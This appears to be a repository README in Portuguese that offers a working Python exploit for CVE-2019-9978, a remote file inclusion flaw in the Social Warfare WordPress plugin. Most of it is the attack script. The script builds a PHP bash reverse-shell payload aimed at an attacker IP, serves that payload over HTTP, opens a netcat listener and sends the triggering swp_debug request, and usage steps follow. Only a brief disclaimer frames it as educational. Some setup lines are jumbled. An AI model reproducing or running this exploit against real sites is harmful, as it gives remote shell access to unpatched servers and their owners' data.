
O parâmetro `swp_debug` em `admin-post.php` permite que atacantes remotos incluam arquivos externos contendo código PHP malicioso, que são executados no servidor. Ao fornecer uma URL manipulada que hospeda um payload de reverse shell, um atacante pode obter execução de comandos.
Este repositório contém um exploit funcional em Python para CVE-2019-9978, uma vulnerabilidade de execução remota de código no plugin Social Warfare para WordPress (versão <= 3.5.2).
O parâmetro swp_debug em admin-post.php permite que atacantes remotos incluam arquivos externos contendo código PHP malicioso, que são avaliados no servidor. Ao fornecer uma URL manipulada que hospeda um payload de reverse shell, um atacante pode obter execução de comandos.
swp_url para disparar RCE.example.com mapeado para o IP alvo)#!/usr/bin/env python3
import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time
# --- Config ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "192.168.26.130" # Change to your attack box IP
HTTP_PORT = 8000
LISTEN_PORT = 4447
PAYLOAD_FILE = "payload.txt"
def create_payload():
"""Write exact reverse shell payload using valid PHP syntax"""
payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
with open(PAYLOAD_FILE, "w") as f:
f.write(payload)
print(f"[+] Payload written to {PAYLOAD_FILE}")
def start_http_server():
"""Serve payload over HTTP"""
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
print(f"[+] HTTP server running at port {HTTP_PORT}")
httpd.serve_forever()
def start_listener():
"""Start Netcat listener"""
print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])
def send_exploit():
"""Trigger the exploit with vulnerable parameter"""
payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
print(f"[+] Sending exploit: {exploit}")
try:
requests.get(exploit, timeout=5)
except requests.exceptions.RequestException:
pass
def main():
create_payload()
# Start web server in background
http_thread = threading.Thread(target=start_http_server, daemon=True)
http_thread.start()
time.sleep(2) # Give server time to start
# Start listener in background
listener_thread = threading.Thread(target=start_listener)
listener_thread.start()
time.sleep(1)
# Send the malicious request
send_exploit()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("[-] Interrupted by user.")
ATTACKER_IP e LISTEN_PORT para o IP da sua máquina e porta desejada.example.com para o IP correto.python3 exploit.py
Este exploit é fornecido apenas para fins educacionais. Não o utilize sem permissão explícita em qualquer sistema que você não possua.